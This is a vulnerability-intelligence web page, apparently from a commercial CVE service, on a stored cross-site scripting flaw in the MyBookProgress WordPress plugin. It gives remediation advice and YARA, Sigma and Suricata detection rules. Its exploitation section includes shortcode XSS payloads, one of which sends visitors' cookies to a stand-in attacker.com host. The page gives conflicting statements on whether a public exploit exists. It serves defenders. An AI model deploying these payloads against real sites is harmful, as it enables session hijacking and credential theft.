☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12598

CVE-2024-12598 Cross-Site Scripting in Stormhill media
📅 PUBLISHED: 2025-01-17 07:01 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12598 is a Stored Cross-Site Scripting (XSS) vulnerability in the MyBookProgress by Stormhill Media WordPress plugin, affecting all versions up to and including 1.0.8. The flaw resides in insufficient input sanitization and output escaping of the book parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the injected payload, the script executes in their browser, potentially leading to session hijacking, defacement, or credential theft. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the ability to execute scripts in the context of any user visiting the page makes it a significant risk for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability exists in the MyBookProgress plugin's handling of the book parameter, likely used to display book progress data. The plugin fails to sanitize user input and escape output when rendering this parameter in the frontend. An attacker with Contributor-level access (who can create and edit posts) can craft a post or page that includes a shortcode or custom field containing the malicious book parameter. When the page is rendered, the injected JavaScript executes in the browser of any visitor, including site administrators.

Attack Flow:

  1. Attacker logs in with Contributor-level credentials.
  2. Attacker creates a new post or edits an existing one.
  3. Attacker inserts the MyBookProgress shortcode (e.g., [mybookprogress book="<script>alert('XSS')</script>"]).
  4. The plugin stores the malicious input without proper sanitization.
  5. When any user (including admins) views the post, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example based on common patterns):

// In mybookprogress.php or similar
function mybookprogress_shortcode($atts) {
    $book = $atts['book'];
    // No sanitization or escaping
    return "<div class='book-progress'>" . $book . "</div>";
}
add_shortcode('mybookprogress', 'mybookprogress_shortcode');

Patched Code (expected fix):

function mybookprogress_shortcode($atts) {
    $book = isset($atts['book']) ? sanitize_text_field($atts['book']) : '';
    // Escape output
    return "<div class='book-progress'>" . esc_html($book) . "</div>";
}
add_shortcode('mybookprogress', 'mybookprogress_shortcode');

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with MyBookProgress plugin <= 1.0.8
  • Contributor-level account credentials

Steps:

  1. Log in to WordPress as a Contributor.
  2. Create a new post or edit an existing one.
  3. In the content editor (Text mode), insert the following shortcode:
    [mybookprogress book="<script>alert(document.cookie)</script>"]
    
  4. Publish or update the post.
  5. When any user visits the post, the JavaScript executes.

Advanced Payload (session hijacking):

[mybookprogress book="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Hardening)

Detection:

  • Monitor for posts containing suspicious shortcode parameters (e.g., book= followed by <script> or onerror=).
  • Review WordPress logs for unusual post creation/editing by Contributor-level users.
  • Use Web Application Firewall (WAF) rules to block XSS patterns in shortcode parameters.

Hardening:

  • Disable the MyBookProgress plugin until a patch is released.
  • Restrict Contributor-level permissions to only trusted users.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/mybookprogress/mybookprogress.php (version <= 1.0.8)
  • Shortcode pattern: [mybookprogress book="<script>...</script>"]
  • Network traffic: Outbound requests to attacker-controlled domains from WordPress admin or frontend pages.
  • Log entries: Unusual post content containing JavaScript in shortcode parameters.

Detection Engineering

YARA Rule

rule CVE_2024_12598_MyBookProgress_XSS {
    meta:
        description = "Detects stored XSS payloads in MyBookProgress plugin shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12598"
    strings:
        $shortcode = /\[mybookprogress\s+book\s*=\s*["'][^"']*<script/i
        $payload = /<script[^>]*>.*<\/script>/i
    condition:
        $shortcode and $payload
}

Sigma Rule

title: CVE-2024-12598 MyBookProgress Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via MyBookProgress plugin shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: '[mybookprogress book='
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12598 MyBookProgress Stored XSS Attempt"; flow:to_server; content:"[mybookprogress book="; nocase; content:"<script"; nocase; within:200; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patched version is released.
  2. Review and remove any posts containing suspicious shortcode parameters.
  3. Change all passwords for Contributor-level accounts if compromise is suspected.

Long-term Fix:

  • Apply the vendor patch when available (currently UNKNOWN).
  • Implement input sanitization (sanitize_text_field()) and output escaping (esc_html()) in the plugin code.
  • Enforce strict Content Security Policy (CSP) headers.

Workarounds:

  • Use a Web Application Firewall (WAF) to block XSS patterns in shortcode parameters.
  • Restrict Contributor-level permissions to only trusted users.

Valters IT
DevSecOps & Cyber Threat Intelligence

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12598/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.